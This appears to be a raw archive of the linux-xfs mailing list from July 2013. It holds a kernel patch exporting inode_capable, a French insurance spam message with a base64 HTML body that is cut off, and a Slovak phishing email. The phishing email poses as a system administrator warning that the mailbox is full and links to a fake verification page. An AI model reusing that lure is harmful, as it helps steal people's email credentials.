    ----=_Part_0E50D1EFE564406EB33C0D943ED70881-- From suat@sastur.com.tr Fri Jul 5 18:23:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.9 required=5.0 tests=MIME_QP_LONG_LINE,TO_MALFORMED autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2E3A17CBF for ; Fri, 5 Jul 2013 18:23:13 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0A02B8F8035 for ; Fri, 5 Jul 2013 16:23:09 -0700 (PDT) X-ASG-Debug-ID: 1373066585-04bdf0233ebf4dc0001-w1Z2WR Received: from cluster03.natrohost.com (cluster03.natrohost.com [89.19.17.244]) by cuda.sgi.com with ESMTP id ix75c0SvhKuXYrvC for ; Fri, 05 Jul 2013 16:23:06 -0700 (PDT) X-Barracuda-Envelope-From: suat@sastur.com.tr X-Barracuda-Apparent-Source-IP: 89.19.17.244 Received: from ([41.71.217.172]) by natrohost.com with MailEnable WebMail; Sat, 6 Jul 2013 02:25:12 +0300 To: undisclosed-recipients From: "ADRIAN AND GILLAIN BAYFORD" Subject: =?windows-1254?Q?Va=9Aa_po=9Atov=E1?= Date: Fri, 5 Jul 2013 16:25:12 -0700 X-ASG-Orig-Subj: =?windows-1254?Q?Va=9Aa_po=9Atov=E1?= Message-ID: MIME-Version: 1.0 X-Mailer: MailEnable WebMail.NET X-MimeOLE: Produced By MailEnable WebMail.NET V4.22.0.0 X-Read: 0 Content-Type: multipart/mixed; boundary="--=_Part_78E9B077C08B4483974A98574A1DC095" X-Priority: 3 X-MSMail-Priority: Medium X-ME-Spam: No (-1040),Sender authenticated X-Barracuda-Connect: cluster03.natrohost.com[89.19.17.244] X-Barracuda-Start-Time: 1373066586 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.82 X-Barracuda-Spam-Status: No, SCORE=0.82 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA717, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2, TO_MALFORMED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135921 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 TO_MALFORMED To: has a malformed address 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars 0.00 BSF_SC0_SA717 Custom Rule BSF_SC0_SA717 This is a multi-part message in MIME format. ----=_Part_78E9B077C08B4483974A98574A1DC095 Content-Type: text/plain; charset="windows-1254" Content-Transfer-Encoding: quoted-printable Va=9Aa po=9Atov=E1 schr=E1nka prekrocila limit, kliknite pros=EDm na odkaz niz=9Aie pre kontrolu e-m= ailu Dakujem http://webmailupdatee122.jimdo.com/ System Administrator ----=_Part_78E9B077C08B4483974A98574A1DC095-- From serge.hallyn@ubuntu.com Fri Jul 5 23:45:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D67E67CBF for ; Fri, 5 Jul 2013 23:45:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6268EAC003 for ; Fri, 5 Jul 2013 21:45:01 -0700 (PDT) X-ASG-Debug-ID: 1373085899-04cb6c2a429425a0001-NocioJ Received: from youngberry.canonical.com (youngberry.canonical.com [91.189.89.112]) by cuda.sgi.com with ESMTP id FrSzhaapNxiJoxVI for ; Fri, 05 Jul 2013 21:44:59 -0700 (PDT) X-Barracuda-Envelope-From: serge.hallyn@ubuntu.com X-Barracuda-Apparent-Source-IP: 91.189.89.112 Received: from adsl-108-79-218-151.dsl.klmzmi.sbcglobal.net ([108.79.218.151] helo=tp) by youngberry.canonical.com with esmtpsa (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16) (Exim 4.71) (envelope-from ) id 1UvKMg-0002dS-Vb; Sat, 06 Jul 2013 04:44:55 +0000 Date: Fri, 5 Jul 2013 23:44:50 -0500 From: Serge Hallyn To: Dwight Engen Cc: Dave Chinner , "Eric W. Biederman" , xfs@oss.sgi.com, Brian Foster Subject: [PATCH 1/1] export inode_capable Message-ID: <20130706044450.GA5402@tp> X-ASG-Orig-Subj: [PATCH 1/1] export inode_capable References: <20130619110948.0bfafa2b@oracle.com> <20130620001341.GM29338@dastard> <20130620095410.1917d235@oracle.com> <20130620220311.GT29376@dastard> <20130621111420.5592707e@oracle.com> <20130624003316.GH29376@dastard> <20130624091035.6274800f@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130624091035.6274800f@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: youngberry.canonical.com[91.189.89.112] X-Barracuda-Start-Time: 1373085899 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135941 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Dwight, as I mentioned earlier I did need this patch to build with xfs=m. But other than that, I've got a kernel built using your patchset (full src at http://kernel.ubuntu.com/git?p=serge/ubuntu-saucy.git;a=summary) and was able to start a user ns container with that kernel. I'll use that kernel for some more regular lxc testing next week. Thanks! Signed-off-by: Serge Hallyn --- kernel/capability.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/kernel/capability.c b/kernel/capability.c index f6c2ce5..a04f86f 100644 --- a/kernel/capability.c +++ b/kernel/capability.c @@ -464,3 +464,5 @@ bool inode_capable(const struct inode *inode, int cap) return ns_capable(ns, cap) && kuid_has_mapping(ns, inode->i_uid); } + +EXPORT_SYMBOL_GPL(inode_capable); -- 1.7.9.5 From mynews@lesactuspro.fr Sat Jul 6 03:43:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.4 required=5.0 tests=HTML_FONT_SIZE_HUGE, HTML_IMAGE_RATIO_02,HTML_MESSAGE,MIME_HTML_ONLY,T_DKIM_INVALID,T_FRT_PROFILE1, T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6E4917F4E for ; Sat, 6 Jul 2013 03:43:27 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5DD578F804B for ; Sat, 6 Jul 2013 01:43:24 -0700 (PDT) X-ASG-Debug-ID: 1373100200-04cb6c2a469513a0001-w1Z2WR Received: from lesactuspro.fr (a204.lesactuspro.fr [46.105.242.204]) by cuda.sgi.com with SMTP id TdlbRcJRmbzPCaDW for ; Sat, 06 Jul 2013 01:43:21 -0700 (PDT) X-Barracuda-Envelope-From: mynews@lesactuspro.fr X-Barracuda-Apparent-Source-IP: 46.105.242.204 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=mail;d=lesactuspro.fr; h=from:sender:to:date:message-id:subject:mime-version:content-type; b=nwLAfSxH9cD88YfgZSD0gER9OIQLHMnup7fDdJ9MevS2HQgAHJYKs2/5qqyhndY2mWm7+w2W AlviPlEnTNYqFwkKkVyMh1Slol6TrWmty6HyrUR2Eclmmha9SERyHbooBpHMCAOq/Wrlq/AC RWJmCIB8kl87Bz/Ba7/MqoBdhSk= DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=mail;d=lesactuspro.fr; h=from:sender:to:date:message-id:subject:mime-version:content-type; bh=Lw0WKG7ZK7jYfbeyD+NZziAWA6g=; b=izld4CP0Y7ByCg2if8jS1l7YngLFDqkZCBWhI5mwa1qP/Gyu4CIVb8V1Ghi4MCNv2vGv+XR0 W7FRofyy21a6aH/Zwg/oyRktcXDAOXI5y0WaK2KcvKD8UzY1GZGIT6G9EjmzSzU8BVy6wq8j BLm0wYReEOHP+/4SjvT2Bn9/O80= List-Unsubscribe: http://lesactuspro.fr/tr/index.aspx?id=17b9c92653fe0b7c9d476f2fdf20680eedc01cea43552bf306505e503c4d8851e0ca3789dde49604 From: Hyperassur Sender: Hyperassur Reply-To: Hyperassur To: linux-xfs@oss.sgi.com Date: Sat, 06 Jul 2013 09:44:36 GMT Organization: lesactuspro.fr Message-ID: <17b9c92653fe0b7c9d476f2fdf20680e22c09674d37b0ca9f9babb7317f9b34fbec8f58bde89d7c1@lesactuspro.fr> Subject: =?utf-8?Q?=C3=89CONOMISEZ_350_euros_par_an_sur_votre_assurance_auto?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?utf-8?Q?=C3=89CONOMISEZ_350_euros_par_an_sur_votre_assurance_auto?= X-Mailer: devMail.Net (3.0.1854.22234-6) Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: base64 X-Barracuda-Connect: a204.lesactuspro.fr[46.105.242.204] X-Barracuda-Start-Time: 1373100201 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.94 X-Barracuda-Spam-Status: No, SCORE=0.94 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_FONT_SIZE_HUGE, HTML_IMAGE_RATIO_02, HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135957 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.39 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 77u/PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlv bmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRp b25hbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0K ICAgIDxoZWFkPg0KICAgICAgICA8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRl bnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCI+DQogICAgICAgIDx0aXRsZT5VbnRpdGxlZCBE b2N1bWVudDwvdGl0bGU+DQogICAgPC9oZWFkPg0KICAgIDxib2R5IHN0eWxlPSItd2Via2l0LWZv bnQtc21vb3RoaW5nOiBhbnRpYWxpYXNlZDsgLXdlYmtpdC10ZXh0LXNpemUtYWRqdXN0OiBub25l OyIgYmdjb2xvcj0iI0ZGRkZGRiIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW5o ZWlnaHQ9IjAiIG1hcmdpbndpZHRoPSIwIj48ZGl2IGFsaWduPSJjZW50ZXIiPg0KPGZvbnQgY29s b3I9IiMwMDAwMDAiIHN0eWxlPSJmb250LXNpemU6MTFweDtmb250LWZhbWlseTpWZXJkYW5hLEFy aWFsLEhlbHZldGljYSxzYW5zLXNlcmlmOyI+DQoJCVBvdXIgdmlzdWFsaXNlciBjb3JyZWN0ZW1l bnQgY2UgbWVzc2FnZSwgYWNjJmVhY3V0ZTtkZXogJmFncmF2ZTsgbGEgPGEgIGhyZWY9Imh0dHA6 Ly9sZXNhY3R1c3Byby5mci90ci9taXJyb3IuYXNweD9pZD0xN2I5YzkyNjUzZmUwYjdjOWQ0NzZm MmZkZjIwNjgwZTRlMWJjMTI3YzU4N2VkZjE5OTI3ZWU4ODk2ZmRmNWNmYzU5YWNjOTNkNmJmNjdk ODU1ZjY2YWZkODc5NTc1N2UiPnZlcnNpb24gZW4gbGlnbmU8L2E+DQoJCTxicj48YnI+DQoNCgk8 L2ZvbnQ+DQo8L2Rpdj4NCiAgICAgICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCiAgICAgICAg ICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogNDgwcHgpIHsNCiAgICAgICAg ICAgIHRhYmxlW2NsYXNzPSJNYWluIl0gew0KICAgICAgICAgICAgd2lkdGg6IDMyMHB4ICFpbXBv cnRhbnQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB0YWJsZVtjbGFzcz0iQ29sTGVmdFN0 aWNrZXIiXSB7DQogICAgICAgICAgICB3aWR0aDogMzIwcHggIWltcG9ydGFudDsNCiAgICAgICAg ICAgIH0NCiAgICAgICAgICAgIHRkW2NsYXNzPSJPbWJyZUNlbGwiXSB7DQogICAgICAgICAgICBi YWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cDovL3d3dy5oeXBlcmFzc3VyLmNvbS9zdGF0aWMvY3Jv c3MvMTEvb21icmUtMzIwLmpwZykgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJhY2tncm91bmQt c2l6ZTogY292ZXI7DQogICAgICAgICAgICBoZWlnaHQ6IDEycHggIWltcG9ydGFudDsNCiAgICAg ICAgICAgIH0NCiAgICAgICAgICAgIHRkW2NsYXNzPSJPbWJyZUNlbGwiXSBpbWcgew0KICAgICAg ICAgICAgZGlzcGxheTogbm9uZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHRkW2NsYXNz PSJQYXJ0aXIiXSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cDovL3d3 dy5oeXBlcmFzc3VyLmNvbS9zdGF0aWMvY3Jvc3MvMTEvdmlzdWVsLTMyMC5qcGcpICFpbXBvcnRh bnQ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLXNpemU6IGNvdmVyOw0KICAgICAgICAgICAgaGVp Z2h0OiAxNzBweCAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgdGRbY2xh c3M9IlBhcnRpciJdIGEgew0KICAgICAgICAgICAgZGlzcGxheTogYmxvY2sgIWltcG9ydGFudDsN CiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHRkW2NsYXNzPSJQYXJ0aXIiXSBpbWcgew0KICAg ICAgICAgICAgZGlzcGxheTogbm9uZSAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgfQ0KICAgICAg ICAgICAgdGRbY2xhc3M9IkJvdXRvbkNlbGwiXSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWlt YWdlOiB1cmwoaHR0cDovL3d3dy5oeXBlcmFzc3VyLmNvbS9zdGF0aWMvY3Jvc3MvMTEvYnQtY29t cGFyZXItMzIwLmpwZykgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJhY2tncm91bmQtc2l6ZTog Y292ZXI7DQogICAgICAgICAgICBoZWlnaHQ6IDUycHggIWltcG9ydGFudDsNCiAgICAgICAgICAg IH0NCiAgICAgICAgICAgIHRkW2NsYXNzPSJCb3V0b25DZWxsIl0gaW1nIHsNCiAgICAgICAgICAg IGRpc3BsYXk6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHRk W2NsYXNzPSJzaGVhZGVyIl0gew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdXJsKGh0dHA6Ly93 d3cuaHlwZXJhc3N1ci5jb20vc3RhdGljL2Nyb3NzLzExL2xvZ28tMzIwLmdpZikgIWltcG9ydGFu dDsNCiAgICAgICAgICAgIGJhY2tncm91bmQtc2l6ZTogY292ZXI7DQogICAgICAgICAgICBoZWln aHQ6IDg0cHggIWltcG9ydGFudDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHRkW2NsYXNz PSJzaGVhZGVyIl0gaW1nIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IG5vbmUgIWltcG9ydGFudDsN CiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHRkW2NsYXNzPSJJY29uZXMiXSB0YWJsZSB7DQog ICAgICAgICAgICBtYXJnaW4tbGVmdDogMTBweCAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgfQ0K ICAgICAgICAgICAgdGRbY2xhc3M9Ikh5cGVyYXNzdXIiXSB7DQogICAgICAgICAgICBwYWRkaW5n LWJvdHRvbTogMjBweCAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgdGFi bGVbY2xhc3M9Ikljb25lczIiXSB7DQogICAgICAgICAgICBwYWRkaW5nLXRvcDogMTVweCAhaW1w b3J0YW50Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgdGRbY2xhc3M9ImFzc3VyYW5jZSJd IGZvbnQgew0KICAgICAgICAgICAgZm9udC1zaXplOiAyM3B4ICFpbXBvcnRhbnQ7DQogICAgICAg ICAgICB9DQogICAgICAgICAgICB0ZFtjbGFzcz0iUmVub3V2ZWxsZWUiXSBmb250IHsNCiAgICAg ICAgICAgIGZvbnQtc2l6ZTogMzlweCAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgfQ0KICAgICAg ICAgICAgdGRbY2xhc3M9IlJlc2lsaWV6Il0gZm9udCB7DQogICAgICAgICAgICBmb250LXNpemU6 IDE3cHggIWltcG9ydGFudDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHRkW2NsYXNzPSJD aGFuZ2V6Il0gZm9udCB7DQogICAgICAgICAgICBmb250LXNpemU6IDI1cHggIWltcG9ydGFudDsN CiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHRkW2NsYXNzPSJzTW9iaWxlIl0gew0KICAgICAg ICAgICAgcGFkZGluZy10b3A6IDEwcHggIWltcG9ydGFudDsNCiAgICAgICAgICAgIH0NCiAgICAg ICAgICAgIH0NCiAgICAgICAgPC9zdHlsZT4NCiAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBi b3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgYWxpZ249ImNlbnRlciIg Ymdjb2xvcj0iI0ZGRkZGRiI+DQogICAgICAgICAgICA8dGJvZHk+DQogICAgICAgICAgICAgICAg PHRyPg0KICAgICAgICAgICAgICAgICAgICA8dGQ+DQogICAgICAgICAgICAgICAgICAgIDx0YWJs ZSB3aWR0aD0iNjAwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIg YWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9Ik1haW4iPg0KICAgICAgICAg ICAgICAgICAgICAgICAgPHRib2R5Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4N CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJzaGVhZGVyIj48YSBz dHlsZT0iZGlzcGxheTogYmxvY2s7IGhlaWdodDogMTAwJTsgd2lkdGg6IDEwMCU7IiAgaHJlZj0i aHR0cDovL2xlc2FjdHVzcHJvLmZyL3RyL2luZGV4LmFzcHg/aWQ9MTdiOWM5MjY1M2ZlMGI3Yzlk NDc2ZjJmZGYyMDY4MGViN2ExYTkwNGQ0N2Y0NDZlNDEyYzA1YWEzMWUwZTViZmJkYzgxODJiZTE5 OThhYWMiPjxpbWcgc3JjPSJodHRwOi8vd3d3Lmh5cGVyYXNzdXIuY29tL3N0YXRpYy9jcm9zcy8x MS9sb2dvLmdpZiIgYWx0PSJIeXBlcmFzc3VyLCBMYSBib25uZSBhc3N1cmFuY2Ugw6AgY291cCBz w7tyIiBoZWlnaHQ9IjExOCIgd2lkdGg9IjYwMCIgYm9yZGVyPSIwIj4gPC9hPg0KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAg IDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9Ik9tYnJlQ2VsbCI+PGEgc3R5bGU9ImRpc3BsYXk6 IGJsb2NrOyBoZWlnaHQ6IDEwMCU7IHdpZHRoOiAxMDAlOyIgIGhyZWY9Imh0dHA6Ly9sZXNhY3R1 c3Byby5mci90ci9pbmRleC5hc3B4P2lkPTE3YjljOTI2NTNmZTBiN2M5ZDQ3NmYyZmRmMjA2ODBl MDJkNTFjNDM2YjZhOGQ3OWY4MDg5MmExNjNhMjcxOGFjMjY5ZTliYTZjNzc4OGQxIj48aW1nIHNy Yz0iaHR0cDovL3d3dy5oeXBlcmFzc3VyLmNvbS9zdGF0aWMvY3Jvc3MvMTEvb21icmUuanBnIiBh bHQ9IiIgaGVpZ2h0PSIxOCIgd2lkdGg9IjYwMCIgYm9yZGVyPSIwIj4gPC9hPg0KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAg IDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9IlZpc3VlbENlbGwiPg0KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8dGFibGUgY2xhc3M9IkNvbExlZnRTdGlja2VyIiBjZWxscGFkZGlu Zz0iMCIgY2VsbHNwYWNpbmc9IjAiIGJvcmRlcj0iMCIgd2lkdGg9IjM3MSIgYWxpZ249ImxlZnQi Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRib2R5Pg0KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0ibWlkZGxlIiBoZWlnaHQ9IjIwOSIg d2lkdGg9IjM3MSIgYWxpZ249ImNlbnRlciIgY2xhc3M9IlRyb3V2ZXIiPg0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD4NCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPGEgc3R5bGU9ImhlaWdodDogMTAwJTsgd2lkdGg6IDEw MCU7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsiICBocmVmPSJodHRwOi8vbGVzYWN0dXNwcm8uZnIv dHIvaW5kZXguYXNweD9pZD0xN2I5YzkyNjUzZmUwYjdjOWQ0NzZmMmZkZjIwNjgwZWI1MmIxM2Zm ZTU4ZGMwZGJkNzUyMzJhMzc1N2NjZGU2ODM3M2YxMDFlNTJmN2EyZiI+PGZvbnQgY29sb3I9IiMx NDAyOGQiIGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjciPjxiPsOJ Q09OT01JU0VaPGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8L2I+IDwvZm9udD4gPGZvbnQgY29sb3I9IiMzM2NjMzMiIGZhY2U9IkFyaWFsLCBIZWx2ZXRp Y2EsIHNhbnMtc2VyaWYiIHNpemU9IjciPjxiPjM1MCDigqw8L2I+IDwvZm9udD4gPGZvbnQgY29s b3I9IiMxNDAyOGQiIGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjMi PjxiPi8gQU48L2I+IDwvZm9udD48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDxmb250IGNvbG9yPSIjMTQwMjhkIiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNh LCBzYW5zLXNlcmlmIiBzaXplPSI2Ij48Yj5TVVIgVk9UUkU8YnI+DQogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFTU1VSQU5DRSBBVVRPPC9iPiA8L2ZvbnQ+IDwv YT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9wPg0KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8L3Rib2R5Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8L3RhYmxlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgY2xhc3M9 IkNvbExlZnRTdGlja2VyIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIGJvcmRlcj0i MCIgd2lkdGg9IjIwNiIgYWxpZ249ImxlZnQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPHRib2R5Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNs YXNzPSJQYXJ0aXIiIHZhbGlnbj0ibWlkZGxlIiBoZWlnaHQ9IjIwOSIgd2lkdGg9IjIwNiIgYWxp Z249ImNlbnRlciI+PGEgc3R5bGU9ImhlaWdodDogMTAwJTsgd2lkdGg6IDEwMCU7IHRleHQtZGVj b3JhdGlvbjogbm9uZTsiICBocmVmPSJodHRwOi8vbGVzYWN0dXNwcm8uZnIvdHIvaW5kZXguYXNw eD9pZD0xN2I5YzkyNjUzZmUwYjdjOWQ0NzZmMmZkZjIwNjgwZWQ0Nzg2Y2UyMjAwNjkzZjljMmQx NzljYzM1YjU1ZTYyNTI1M2I0NWI2NjEyNWQzNyI+PGltZyBzcmM9Imh0dHA6Ly93d3cuaHlwZXJh c3N1ci5jb20vc3RhdGljL2Nyb3NzLzExL3Zpc3VlbC5qcGciIGFsdD0iQ29tcGFyZXIgbGVzIGFz c3VyZXVycyIgaGVpZ2h0PSIyMDkiIHdpZHRoPSIyMDYiIGJvcmRlcj0iMCI+IDwvYT4NCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPC90Ym9keT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PC90YWJsZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJCb3V0b25DZWxs Ij48YSBzdHlsZT0iZGlzcGxheTogYmxvY2s7IGhlaWdodDogMTAwJTsgd2lkdGg6IDEwMCU7IiAg aHJlZj0iaHR0cDovL2xlc2FjdHVzcHJvLmZyL3RyL2luZGV4LmFzcHg/aWQ9MTdiOWM5MjY1M2Zl MGI3YzlkNDc2ZjJmZGYyMDY4MGUyYzVmZDM1N2Y2Mzc5YzAxY2MzZjE1YTFmOTc0MTNhNjcxNzQz NjFiZjNlYTdiZDciPjxpbWcgc3JjPSJodHRwOi8vd3d3Lmh5cGVyYXNzdXIuY29tL3N0YXRpYy9j cm9zcy8xMS9idC1jb21wYXJlci5qcGciIGFsdD0iQ29tcGFyZXIgbGVzIGFzc3VyZXVycyIgaGVp Z2h0PSI5NyIgd2lkdGg9IjYwMCIgYm9yZGVyPSIwIj4gPC9hPg0KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQog ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8dGQgY2xhc3M9InNNb2JpbGUiIGFsaWduPSJjZW50ZXIiIGhlaWdodD0iMzAiPjxh 